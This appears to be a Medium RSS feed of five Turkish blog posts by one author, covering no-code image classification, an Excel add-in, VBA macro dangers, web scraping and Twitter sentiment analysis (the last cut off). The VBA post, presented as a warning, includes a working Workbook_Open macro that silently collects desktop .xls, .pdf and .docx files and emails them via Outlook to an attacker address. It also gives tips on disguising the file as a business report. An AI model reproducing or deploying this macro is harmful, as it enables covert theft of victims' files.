<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Ahmet on Medium]]></title>
        <description><![CDATA[Stories by Ahmet on Medium]]></description>
        <link>https://medium.com/@ahmet.bd?source=rss-a2c02754d683------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/proxy/1*TGH72Nnw24QL3iV9IOm4VA.png</url>
            <title>Stories by Ahmet on Medium</title>
            <link>https://medium.com/@ahmet.bd?source=rss-a2c02754d683------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 15 Nov 2026 07:00:12 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@ahmet.bd/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Python (herhangi bir yazılım dili )bilmeden Yapay Zeka-Makine Öğrenmesi İle Yüz Tanıma İşlemi Nasıl…]]></title>
            <link>https://medium.com/@ahmet.bd/python-bilmeden-yapay-zeka-makine-%C3%B6%C4%9Frenmesi-i%CC%87le-y%C3%BCz-tan%C4%B1ma-i%CC%87%C5%9Flemi-nas%C4%B1l-yap%C4%B1l%C4%B1r-95a88770e2bb?source=rss-a2c02754d683------2</link>
            <guid isPermaLink="false">https://medium.com/p/95a88770e2bb</guid>
            <category><![CDATA[futbol]]></category>
            <category><![CDATA[teachable-machine]]></category>
            <category><![CDATA[yapay-zeka]]></category>
            <category><![CDATA[makine-öğrenmesi]]></category>
            <category><![CDATA[python]]></category>
            <dc:creator><![CDATA[Ahmet]]></dc:creator>
            <pubDate>Sat, 06 May 2023 06:44:57 GMT</pubDate>
            <atom:updated>2023-10-22T08:26:24.044Z</atom:updated>
            <content:encoded><![CDATA[<p>Python (herhangi bir yazılım dili )bilmeden Yapay Zeka-Makine Öğrenmesi İle Yüz Tanıma İşlemi Nasıl Yapılır?</p><p>Merhaba arkadaşlar, bu yazıda size python ya da herhangi bir yazılım dili bilmeden nasıl makine öğrenmesini kullanabiliriz Ve bu yüz tanıma ile ilgili neler yapabiliriz onu anlatmak istiyorum. O zaman başlayalım!</p><p>Herhangi bir yazılım dili bilmeden bize yapay zeka ile makine öğrenmesinin kullanımı sağlayan bir internet sitemiz var. <a href="https://teachablemachine.withgoogle.com/">https://teachablemachine.withgoogle.com/</a> siteye resimlerinizi bilgisayardan, buluttan ya da webcam ile fotoğraf çekerek yükleyebiliyorsunuz ve bu yüklediğiniz resimleri sınıflandırarak verilerinizi eğitebiliyorsunuz. Örneğin 100 tane köpek resmi 100 tane de kedi resmini sınıflandırarak yüklediğinizde site bu verilerinizi öğrenerek dışarıdan başka bir resim gösterdiğinizde bunun kedi mi yoksa köpek mi olduğunu size belli bir olasılıkla söylüyor.</p><p>Ben ise bu yazıda, siteyi nasıl kullanabileceğinizi, bir resim yüklendiğinde kişinin Fener mi yoksa GS taraftarı mı olduğunu tahmin eden bir makine öğrenmesi uygulamasıyla göstereceğim. :)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gc5co__CSO0j_i7fivX_aA.png" /><figcaption><a href="https://teachablemachine.withgoogle.com/">https://teachablemachine.withgoogle.com/</a></figcaption></figure><p>Siteye girdiğimizde “Get Started” basarak uygulamamızı yapmaya başlayabiliriz. Sonrasında New Project’den ne üzerine çalışmak istiyorsak onu seçmeliyiz. Biz bir yüz tanıma uygulaması yapacağımızdan “Image Project” seçiyoruz. Ardından Standart image modelini kullanabiliriz.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8d1oRcAYnhedxK6VO3BCUQ.png" /><figcaption><a href="https://teachablemachine.withgoogle.com/train">https://teachablemachine.withgoogle.com/train</a></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/933/1*f7cvLt1cdRDJodTQsJ80FQ.png" /></figure><p>Resim modelinin belirledikten sonra sınıflama işlemine geçilir. Benim yaptığım örnekte class1 Fenerbahçe class2 ise Galatasaraylı taraftarlar oldu.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WecqT4Y-GDuH8fc3JpYdew.png" /><figcaption>Class1 için Fenerbahçeli taraftar resimlerini yükledim.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*k1iWKNCEZIfSxIOKDGzU5w.png" /><figcaption>Class2 için Galatasaraylı taraftarların resimlerini yükledim.</figcaption></figure><p>Burada class1 ve Class2 isimlerinin değiştirebilirsiniz. Uygulamanın sonunda göreceksiniz tahmin yaparken bu class isimleri gözükeceğinden değiştirmeniz iyi olur.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/210/1*ZAJ0nlb_-tHspIu-OmkLcg.png" /></figure><p>Her bir taraftar grubu için 50 resim kullandım. Taraftarlar için resim seçerken instagram,twitter ve google aramayı kullandım. Ayrıca hepsinin erkek ve orta yaşlı olmasına dikkat ettim. örneğin siz daha kapsamlı bir çalışma yapmak isterseniz örneklemeyi arttırabilir. Yaşlara ve cinsiyete göre daha kapsamlı bir örnekleme yapabilirsiniz.</p><p>Burada şunu da belirtmek isterim ki bu uygulama masum olmakla birlikte resimlerinizin açık profilde olması sebebiyle belki de bilmediğiniz bir çok makine öğrenmesinin verisini oluşturduğunuzun farkında değilsiniz. Bence elinizden geldiğince profillerinizi gizli tutun ve sosyal medyalardaki Challengerlara katılmayın.</p><p>Resimleri yükleyip sınıflandırdığımıza göre artık modelimizi eğitebiliriz. Arkadaşlar Training kısmında olan olanlar Tensorflow için default değerlerdir. bugün python ile bu kodları yazsanız alttaki değerlerin aynı olduğunu görebilirsiniz. Ben hepsini default olarak bırakıyorum. Ama siz isterseniz bu değerlerle oynayıp belki de daha yakın olasılıklar elde edebilirsiniz.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/268/1*oee6RvtJr5aMp2aNl6l1YA.png" /></figure><p>Model Training ettikten sonra artık webcamden ya da resim yükleyerek modelimizi test edebilirsiniz.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/384/1*9ryv0RHIN5TOgoOImIwQ0A.png" /></figure><p>Her iki takımın efsane isimleri olan Hagi ve Alex’in resimlerini yükleyip hangi takımın taraftarları olacağını merak ettim. Sonuç gerçekten şaşırtıcı oldu. Sanırım ikisi de gerçek bir GS ve Fenerli olmuş :)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/648/1*PwnXwicF9piIf9Eb339DVA.png" /></figure><p>Eğer isterseniz arkadaşlar daha sonra pythonda kullanmak üzere modeli export edebilirsiniz.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/314/1*mwaB4uZoEbKLFyiyfQWUTw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/807/1*3vGAL9EsVw7xMcOxbBLUKQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/780/1*WrzmUkbYY9uLGA4ZIvOraw.png" /></figure><p>Artık hiçbir yazılım dili bilemden kendi makine öğrenmesi uygulamanızı yaptınız. Tebrikler.</p><p>Son olarak aklıma gelmişken;</p><ul><li>Bir kişinin hangi siyasi partiye oy vereceğini bilebilir miyiz?</li><li>Bir bankacı olarak düşünüyorum; Bir müşteri şubeye girdiğinde ona hangi ürünleri satacağımızı tahmin edebilir miyiz</li></ul><p>Sanırım örnekler çoğaltılabilir. Ya da belki de çoktan yapıldı ve hepimiz bilmediğimiz bir çok makine öğrenmemesinin verileriyiz.</p><p>Teşekkürler.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=95a88770e2bb" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Excel 2016 ve 2019'da Çaprazara Fonksiyonunu Ekleme]]></title>
            <link>https://medium.com/@ahmet.bd/excel-2016-ve-2019da-%C3%A7aprazara-fonksiyonunu-ekleme-c9b5dfa94b05?source=rss-a2c02754d683------2</link>
            <guid isPermaLink="false">https://medium.com/p/c9b5dfa94b05</guid>
            <category><![CDATA[microsoft]]></category>
            <category><![CDATA[xlookup]]></category>
            <category><![CDATA[çaprazara]]></category>
            <category><![CDATA[excel]]></category>
            <category><![CDATA[fonksiyon]]></category>
            <dc:creator><![CDATA[Ahmet]]></dc:creator>
            <pubDate>Tue, 07 Mar 2023 12:44:10 GMT</pubDate>
            <atom:updated>2023-03-07T13:32:47.792Z</atom:updated>
            <content:encoded><![CDATA[<p>Excelde en çok kullanılan yedi fonksiyondan biri de DÜŞEYARA’dır. Fakat Microsoft artık onun yerini de alan buna YATAYARA’yı da dahil edebiliriz. Yeni bir fonksiyon çıkarttı. ÇAPRAZARA. Bu fonksiyon ile hem sütun da hem de satırda arama yapabildiğiniz için artık DÜŞEYARA ve YATAYARA komutlarını unutabilirsiniz.</p><p>Yalnız şöyle bir sıkıntı var ÇAPRAZARA maalesef Excel 2016 ve Excel 2019 versiyonlarında yer almıyor. Şu an itibariyle sadece Microsoft 365 abonesiyseniz kullanabilirsiniz. işte bu yazı tam da burada araya giriyor.</p><p>Excelin eklentiler özelliğini kullanarak kendi ÇAPRAZARA fonksiyonumuzu oluşturacağız.</p><p>Yapmanız gerekenleri aşağıda üç adımda anlatacağım.</p><p>1-Öncelikle aşağıdaki “banquiz_caprazara.xlam” dosyasını bilgisayarınıza indirin.</p><p><a href="https://disk.yandex.com.tr/d/tWZWobfWu_MRhg">https://disk.yandex.com.tr/d/tWZWobfWu_MRhg</a></p><p>2-Yeni bir excel açınız-&gt;Seçenekler-&gt;Eklentiler-&gt;Excel Eklentileri-&gt;Git</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/896/1*7ALrbXGTJtRgyOi13G6TqA.png" /></figure><p>3-Listede Gözat kısmından “banquiz_caprazara.xlam” dosyasını bilgisayarınızda bulup ekleyin. (yukarıda kaydettiğiniz dosya)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/318/1*ukbOOOJvVmB9GEtmPSbHFA.png" /></figure><p>Artık excelinizde BANQUIZ_CAPRAZARA fonksiyonunu kullanarak tablolarda dizin araması yapabilirsiniz.</p><p>Örneğin aşağıdakine benzer bir tablonuz var satırdan “B” yi sütundan da “Y” arıyoruz bunun sonucunu görmek için,</p><p>=BANQUIZ_CAPRAZARA(B3;B1:E5;D1)</p><p>-B3 Aranan Değer-Satır</p><p>-B1:E5 Tablo dizisi</p><p>-D1 Aranan Değer-SÜTUN</p><p>Sonuç=5</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/794/1*BCMWqIMTvnggLmpOSn4KGA.png" /></figure><p>Tüm kodlar “banquiz_caprazara.xlam” içerisinde var. Alt-F11 yaparak visual basic uygulamasını açarak nasıl çalıştığını kontrol edebilirsiniz.</p><p>Ya da yine “DÜŞEYARA(“A”;A1:D5;KAÇINCI(“Y”;B1:D1;0)+1;0)” fonksiyonu ile aynı işlevi yapmaya devam edebilirsiniz :)</p><p>Kaynak:<a href="https://excelvba.net/viewtopic.php?f=10&amp;t=38720&amp;p=272373">Çaprazara kod Eklentisi (excelvba.net)</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c9b5dfa94b05" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Excel göründüğü kadar masum mu?]]></title>
            <link>https://medium.com/@ahmet.bd/excel-g%C3%B6r%C3%BCnd%C3%BC%C4%9F%C3%BC-kadar-masum-mu-b5b4d552d2d0?source=rss-a2c02754d683------2</link>
            <guid isPermaLink="false">https://medium.com/p/b5b4d552d2d0</guid>
            <category><![CDATA[outlook]]></category>
            <category><![CDATA[vba]]></category>
            <category><![CDATA[macro]]></category>
            <category><![CDATA[vba-macros]]></category>
            <category><![CDATA[excel]]></category>
            <dc:creator><![CDATA[Ahmet]]></dc:creator>
            <pubDate>Sat, 17 Dec 2022 18:08:40 GMT</pubDate>
            <atom:updated>2022-12-17T18:16:34.105Z</atom:updated>
            <content:encoded><![CDATA[<p>Excel ile tablolar hazırlayabilir, formüller yazabilir, grafikler oluşturabilirsiniz. Peki sizce excel bu kadar masum bir uygulama mı? Aslında sadece excel değil tüm ofis uygulamalarının arkasında çalışan vba yani visual basic programı kötü niyetli kullanımlarda sizin ve çalıştığınız kurum için büyük tehlikeler oluşturabilir.</p><p>VB -Visual Basic, Microsoft tarafından 1991 yılında Basic programlama dili ile geliştirilmiş bir programlama dilidir. Öğrenilmesi diğer programlama dillerine göre çok kolaydır.</p><p>VBA-Visual Basic for Applications ise Visual Basic programlama dilinin Microsoft ofis ürünlerine uyarlanmış hâlidir. Visual Basic programlama dilinin Excel’deki hali VBA’dir. VBA aslında bir nevi exceldeki makrolardır. yaptığınız makrolar excelde vba kodu olarak kaydedilir.</p><p>Şimdi gelelim exceldeki bu vba nın tehlikelerine;</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yBOgtxBuGdHL7CSm0fJF9A.png" /></figure><p>Excelde “Düzenlenmeyi Etkinleştir’e” evet dediğinizde</p><ul><li>Sizin kurum mailinizden, sizin haberiniz olmadan kurumunuzun genel müdürüne müstehcen içerikli mail atabileceğini,</li><li>Sizin kurum mailinizden sizin haberiniz olmadan herhangi bir kişiye bilgisayarınızdaki gizli bilgilerinizin, o anki bilgisayarınızın ekran görüntüsü, word, excel,pdf uzantılı dosyalar gönderilebileceğini,</li><li>Bilgisayarınızdaki tüm dosyaların silinebileceği,</li><li>Bilgisayarınızda herhangi bir dosya aratıp o dosyayı herhangi birine mail atma veya silme işleminin yapılabileceği,</li><li>Outlook&#39;taki tüm maillerin silinebileceğini,</li></ul><p>biliyor muydunuz?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DyIwFhS1wx2gxmx734hx2A.png" /></figure><p>Şimdi gelelim bunların nasıl yapılabileceği kısmına aslında çoğunuz belkide internetten excel ile otomatik mail nasıl gönderirim diye aratıp kullanmışsınızdır. Ama excel ile mail göndermenin bu kadar tehlikeli olduğunun farkında değilsinizdir. Dediğim gibi internetten hemen şu an arama yaptığınızda bile excel ile mail nasıl gönderirim ile ilgili bir çok kod bulabilirisiniz. Peki bu kötü niyetli işlemleri excel nasıl yapıyor. Burada verdiğim kodlar tamamen kendinizi koruma amaçlıdır. Ve bir makroyu etkinleştir demenizin ne kadar tehlikeli olduğunu göstermek içindir.</p><p>O zaman başlayalım.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XHC0UPGndSEYODUQyvFxbw.png" /></figure><p>Öncelikle kodlar siz anlamayın diye önemli bir excel dosyasının içeriğine gizlenir. örneğin haftalık atılan bir satış raporu, yıllık takip rakamları, günlük mevduat tutarları vb. Yani karışı tarafa göndereceğiniz excel karşı taraftaki kişinin açacağı veya merak uyandıracağı bir excel olmalı.</p><p>Göndereceğiniz exceli netleştirdik sonra kodlar VBA da yer alan workbook open içeriğine yazılır. Bunun sebebi exceli açıp onay verdiğinizde kodları açılışta farkında olmadan çalıştır demiş oluyorsunuz. Yani herhangi bir onay butona basmadan kodlar çalışmaya başlar.</p><p>Benim amacım hedefimdeki kişinin masa üstündeki ilk 10 dosyayı kendime göndermek tabii bunu yaparken hedefimdeki kişinin haberi olmadan Outlook ile mail atmak. O yüzden önce hedefteki kişinin bilgisayarındaki masaüstü yolunu ve alacağım dosyaların uzantılarını belirliyorum.</p><pre>Private Sub Workbook_Open()<br><br>Dim Makro As Object<br>Dim Mail As Object<br>Set Makro = CreateObject(&quot;Outlook.Application&quot;)<br>Set Mail = Makro.CreateItem(0)<br>On Error Resume Next<br><br>Dim MyFolder As String, MyFile As String<br>Dim i As Long<br><br>LastAuthor = ActiveWorkbook.BuiltinDocumentProperties(&quot;Last Author&quot;)<br>MyFolder = &quot;C:\Belgelerim\&quot; &amp; LastAuthor &amp; &quot;\&quot; &amp; &quot;Desktop&quot;<br><br>MyFile = Dir(MyFolder &amp; Application.PathSeparator &amp; &quot;*.xls&quot;, vbDirectory)<br>Do While MyFile &lt;&gt; &quot;&quot;<br>Cells(i + 1, 1) = MyFile<br>i = i + 1<br>MyFile = Dir<br>Loop<br><br>MyFile2 = Dir(MyFolder &amp; Application.PathSeparator &amp; &quot;*.pdf&quot;, vbDirectory)<br>Do While MyFile2 &lt;&gt; &quot;&quot;<br>Cells(i + 1, 1) = MyFile2<br>i = i + 1<br>MyFile2 = Dir<br>Loop<br><br>MyFile3 = Dir(MyFolder &amp; Application.PathSeparator &amp; &quot;*.docx&quot;, vbDirectory)<br>Do While MyFile3 &lt;&gt; &quot;&quot;<br>Cells(i + 1, 1) = MyFile3<br>i = i + 1<br>MyFile3 = Dir<br>Loop<br><br>dosya = MyFolder &amp; &quot;\&quot; &amp; Sayfa1.Cells(5, 1)<br>dosya2 = MyFolder &amp; &quot;\&quot; &amp; Sayfa1.Cells(4, 1)<br>dosya3 = MyFolder &amp; &quot;\&quot; &amp; Sayfa1.Cells(3, 1)<br>dosya4 = MyFolder &amp; &quot;\&quot; &amp; Sayfa1.Cells(2, 1)<br>dosya5 = MyFolder &amp; &quot;\&quot; &amp; Sayfa1.Cells(1, 1)<br>dosya6 = MyFolder &amp; &quot;\&quot; &amp; Sayfa1.Cells(6, 1)<br>dosya7 = MyFolder &amp; &quot;\&quot; &amp; Sayfa1.Cells(7, 1)<br>dosya8 = MyFolder &amp; &quot;\&quot; &amp; Sayfa1.Cells(8, 1)<br>dosya9 = MyFolder &amp; &quot;\&quot; &amp; Sayfa1.Cells(9, 1)<br>dosya10 = MyFolder &amp; &quot;\&quot; &amp; Sayfa1.Cells(10, 1)</pre><p>dosyaları da aldıktan sonra artık bu dosyları Outlook ile maile ekleyerek kullanıcının haberi olmadan kendimize mail atacağız.</p><pre>With Mail<br>.To = &quot;mailin kime gitmek istediğini yazın-&gt;kendimegonder@gmail.com&quot;<br>&#39;.CC = &quot;isterseniz cc olarak ta atabilirsiniz&quot;<br>&#39;.BCC = &quot;&quot;<br>.Subject = &quot;Kamil&#39;in bilgisayarından gizlice gelen dosyalar&quot;<br>.Body = &quot; Tebrikler Kamil&#39;in haberş olmadan dosyaları kendine gönderdin &quot;<br>.Attachments.Add dosya<br>.Attachments.Add dosya2<br>.Attachments.Add dosya3<br>.Attachments.Add dosya4<br>.Attachments.Add dosya5<br>.Attachments.Add dosya6<br>.Attachments.Add dosya7<br>.Attachments.Add dosya8<br>.Attachments.Add dosya9<br>.Attachments.Add dosya10<br>.Send<br>End With<br>On Error GoTo 0<br>Set Mail = Nothing<br>Set Makro = Nothing<br>End Sub</pre><p>Evet artık exceli gönderdiğiniz arkadaşınızın bilgisayarınızdaki dosyaları kendinize Outlook ile mail yoluyla gizlice göndermiş oldunuz..</p><p>Bunu hiçbir antivirüs programı yakalamıyor. O yüzden aslında kurumsal firmalar için büyük açıklar doğmaktadır. Dediğim gibi bunu paylaşmaktaki amacım artık bir excelde bir makroya onay verirken iki kere düşünmeniz. umarım faydalı olmuştur. Buraya kadar okuyan herkese teşekkürler :)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b5b4d552d2d0" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Python ile Resmi Gazeteden Yönetmelik vb Verileri Çekme]]></title>
            <link>https://medium.com/@ahmet.bd/python-ile-resmi-gazeteden-y%C3%B6netmelik-vb-verileri-%C3%A7ekme-d44631d2df15?source=rss-a2c02754d683------2</link>
            <guid isPermaLink="false">https://medium.com/p/d44631d2df15</guid>
            <category><![CDATA[beautiful]]></category>
            <category><![CDATA[python]]></category>
            <category><![CDATA[internet]]></category>
            <category><![CDATA[resmi-gazete]]></category>
            <category><![CDATA[web-scraping]]></category>
            <dc:creator><![CDATA[Ahmet]]></dc:creator>
            <pubDate>Sun, 18 Sep 2022 16:48:00 GMT</pubDate>
            <atom:updated>2022-09-18T17:45:02.433Z</atom:updated>
            <content:encoded><![CDATA[<p>Herkese Merhaba,</p><p>İşinizle ilgili olarak her gün resmi gazeteyi takip ediyorsanız. bu kodlar çok işinize yarayacak demektir.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8jEvsCNzyxmxIkl1QKoOKw.png" /><figcaption>Resmi Gazete Ana Sayfası</figcaption></figure><p>Bunu için iki tane kütüphaneye ihtiyacımız var. Bunlardan biri “requests” diğeri ise “BeautifulSoup”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/232/1*LstTkVVvC7ACZ9M_QvOnvw.png" /></figure><p>web sayfası linki de bizim için önemlidir. Resmi gazete linki ;</p><p><a href="https://www.resmigazete.gov.tr/17.09.2022">“https://www.resmigazete.gov.tr/17.09.2022</a>”</p><p><a href="https://www.resmigazete.gov.tr/17.09.2022">T.C. Resmî Gazete</a></p><p>biz burada tarih kısmını bir değişkene atayacağız. böylelikle istediğimiz bir tarihteki resmi gazeteyi python ile çekebiliriz.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/342/1*H0li8rkZWTUh5SaIDAkV-g.png" /></figure><p>requests kütüphanesi ile tüm sayfadaki bilgileri alıyoruz. alıyoruz ama burada aldığımız bilgiler istediğimiz formatta olmuyor. Aşağıdaki resimde görüldüğü gibi;</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/707/1*bMj4uueNXafvE6FtcrfhUQ.png" /><figcaption>icerik = requests.get(url).content<br>print(icerik)</figcaption></figure><p>O yüzen bizim bunu okunabilir yani HTML formatına çevirmemiz gerekiyor. onu da “BeautifulSoup” ile yapıyoruz.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/712/1*MWMjQjPBSYrFId-j7xmEXw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/466/1*k_WJU6KfVTKe4EwG5OMJ3A.png" /></figure><p>HTML formatına da dönüştürdüğümüze göre artık. nereden ne bilgi alabiliriz ona bakalım. onun için google chrome geçiş yapalım (ben chrome kullanıyorum isteyen firefox veya diğer explorerları tercih edebilir)</p><p>sayfadayken sağa tıklayıp incele yapalım.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uQ8My_pSLuIrc3CSD30FeQ.png" /></figure><p>Buradan bizim haber bloğumuzun yer aldığı HTML alanını bulmamız gerekiyor. onu da “div”, {“class”: “fihrist-item mb-1”} içerisinde olduğunu rahatlıkla görüyoruz.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*P3vrksDAu4YzOp5dj24QaA.png" /></figure><p>ve her bilginin a bloğunda yer aldığını tespit ediyoruz.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/626/1*25y_x4Jh1cNJAMiN34Zv9g.png" /></figure><p>buradaki kodlarımız da aynen şu şekilde. önce tüm gazetedeki bilgileri getir değişkine atıyoruz. sonrada bunları for ile döndürüyoruz.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/461/1*3Fus4N-skvAccNF_ZXCVmw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/351/1*wOL62xS8wpVHKJ6r7N6Yjw.png" /></figure><p>sonuç;</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/671/1*Ax3yLAYWXqZVtXdxMm9Icg.png" /></figure><p>tabii ki bunların hepsini daha güzel bir formatta gösterebilir. Ya da daha önceki anlattığım telegram botunu kullanarak kendinize günlük olarak resmi gazete gönderme işlemini yapabilirsiniz (ki ben yaptım)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/608/1*PyYYZUa7bXXJgMu9khf_lw.png" /><figcaption>Telegram Ekran Görüntüsü</figcaption></figure><p>umarım faydalı olmuştur. kodları paylaşıyorum. herkese iyi paytınlamalar.</p><p><a href="https://www.kaggle.com/code/bahadr80/resmi-gazete-veri-cekme">resmi_gazete_veri_cekme</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d44631d2df15" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Python’da Twitter Duygu Analiz Çalışması (NLP)]]></title>
            <link>https://medium.com/@ahmet.bd/pythonda-twitter-duygu-analiz-%C3%A7al%C4%B1%C5%9Fmas%C4%B1-nlp-2a06a7746b37?source=rss-a2c02754d683------2</link>
            <guid isPermaLink="false">https://medium.com/p/2a06a7746b37</guid>
            <category><![CDATA[tweet]]></category>
            <category><![CDATA[doğal-dil-işleme]]></category>
            <category><![CDATA[python]]></category>
            <category><![CDATA[duygu-analizi]]></category>
            <category><![CDATA[nlp]]></category>
            <dc:creator><![CDATA[Ahmet]]></dc:creator>
            <pubDate>Sat, 03 Sep 2022 11:59:58 GMT</pubDate>
            <atom:updated>2022-09-03T20:55:59.457Z</atom:updated>
            <content:encoded><![CDATA[<p>Herkese merhaba,</p><p>Twitter ile yaptığım duygu analiz çalışmasını sizle paylaşacağım. umarım faydalı olur. eksik gördüğünüz bir kısım olursa ve paylaşırsanız sevinirim.</p><p>İsteyenler data setini <a href="https://www.kaggle.com/datasets/bahadr80/ziraat-tweet-duygu-analiz">https://www.kaggle.com/datasets/bahadr80/ziraat-tweet-duygu-analiz</a> buradan indirebilirler. Twitter’dan veri çekme kısmını ise başka bir yazıda anlatmayı düşünüyorum.</p><p>Öncelikle. aşağıdaki kütüphaneleri çalıştıralım.</p><blockquote><em>import pandas as pd<br>import numpy as np<br>from zemberek import (<br> TurkishSpellChecker,<br> TurkishSentenceNormalizer,<br> TurkishSentenceExtractor,<br> TurkishMorphology,<br> TurkishTokenizer<br>)</em></blockquote><p>zemberek kütüphanesini çalıştırmak için !pip install zemberek-python yapmamız gerekiyor.</p><p>pandas ile excel doyasını yüklüyoruz.</p><blockquote><em>df=pd.read_excel(“sonuclar_duygu.xlsx”)</em></blockquote><p>Büyük harflerin hepsini önce küçük harfe çeviriyoruz. Yapay zeka algoritmaları kelimeleri küçük harf olarak istiyor.</p><blockquote><em>data[“Tweet”]=data[“Tweet”].apply(lambda x:” “.join(x.lower() for x in x.split()))</em></blockquote><p>Tweetlerde geçen hastag ve hespları çıkarıyoruz.</p><blockquote><em>df[‘hastag_coz’]=df[“Tweet”]<br>df[‘hesap_coz’]=df[“Tweet”]</em></blockquote><p>#hastag olanlari ayır</p><blockquote><em>df[‘Tweet’]=df[“Tweet”].apply(lambda x:” “.join(x for x in x.split() if not x.startswith(“#”)))</em></blockquote><p>#hesap olanlari ayır</p><blockquote><em>df[‘Tweet’]=df[“Tweet”].apply(lambda x:” “.join(x for x in x.split() if not x.startswith(“@”)))</em></blockquote><p>#noktalama işaretlerini çıkarıyoruz</p><blockquote><em>df[“Tweet”]=df[“Tweet”].str.replace(“[^\w\s]”,””)</em></blockquote><p>#sayılar içeren ifadeleri çıkarıyoruz.</p><blockquote><em>df[“Tweet”] = df[“Tweet”].str.replace(“\d”,””)</em></blockquote><blockquote><em>sw = pd.read_excel(“stopwords.xlsx”)</em></blockquote><p>#tweetlerda kalan http ve twitter.com kelimelerini temizliyoruz.</p><blockquote>df[‘Tweet’]=df[“Tweet”].apply(lambda x:” “.join(x for x in x.split() if not x.startswith(“http”)))<br>df[‘Tweet’]=df[“Tweet”].apply(lambda x:” “.join(x for x in x.split() if not x.startswith(“twittercom”)))</blockquote><p>#aynı tweetler varsa son kez bakıp siliyoruz.</p><blockquote>df[‘Tweet’].drop_duplicates</blockquote><p>Zemberek kütüphanesini kullanarak tweetlerda kullanılan kelimeleri düzeltiyoruz. yanlış kelimeleri çıkarıyoruz.</p><p>Örneğin:”kalemik” ifadesi “kalemi” oluyor gibi.</p><blockquote>morphology = TurkishMorphology.create_with_defaults()<br>normalizer = TurkishSentenceNormalizer(morphology)</blockquote><blockquote>sc = TurkishSpellChecker(morphology)</blockquote><p>#kelimelerin doğrusu</p><blockquote>df[“Tweet”]=df[“Tweet”].apply(lambda x:” “.join(normalizer.normalize(x) for x in x.split()))</blockquote><p>Genelde stopwords kelimeleri için türkçe NLTK kütüphanesi kullanılıyor fakat ben onu yeterli görmediğim için kendi stopwords kütüphanemi oluşturdum. ve onu kullanıyorum. Stopwords nedir diye soran arkadaşlar için kısaca özet geçeyim. cümlelerde yer alan ve, için, veya gibi makine öğrenmesinde yanıltıcı olacağı düşünülen bu kelimeleri cümlelerden çıkarıyoruz.</p><p>onu da isterseniz buradan indirebilirsiniz. <a href="https://www.kaggle.com/datasets/bahadr80/stop-words-turkce">https://www.kaggle.com/datasets/bahadr80/stop-words-turkce</a></p><blockquote>sw = pd.read_excel(“stopwords.xlsx”)</blockquote><blockquote>df[“Tweet”]=df[“Tweet”].apply(lambda x:” “.join(x for x in x.split() if x not in sw[“a”].values))</blockquote><p>#Burada daha sonra başka bir veri analizde kullanmak için tüm kelimelerin frekanslarını alıyorum.</p><blockquote>freq_df = df[“Tweet”].apply(lambda x: pd.value_counts(x.split(“ “))).sum(axis =0).reset_index()<br>freq_df.columns = [“kelimeler”,”frekanslar”]</blockquote><blockquote>freq_df=freq_df.sort_values(by=’frekanslar’, ascending=False)</blockquote><p>Burada arkadaşlar zemberek kütüphanesini kullanarak tweetlerde yer alan anlamsız tweetleri çıkarıyorum. burada onları bulunca tüm tweetlerden çıkaracağım. Bu işlem tweet sayısına göre uzun sürebilir.</p><blockquote>freq_df[“kelimeler2”]=freq_df[“kelimeler”].apply(lambda x:” “.join(x for x in x.split() if str(sc.suggest_for_word(x)) == 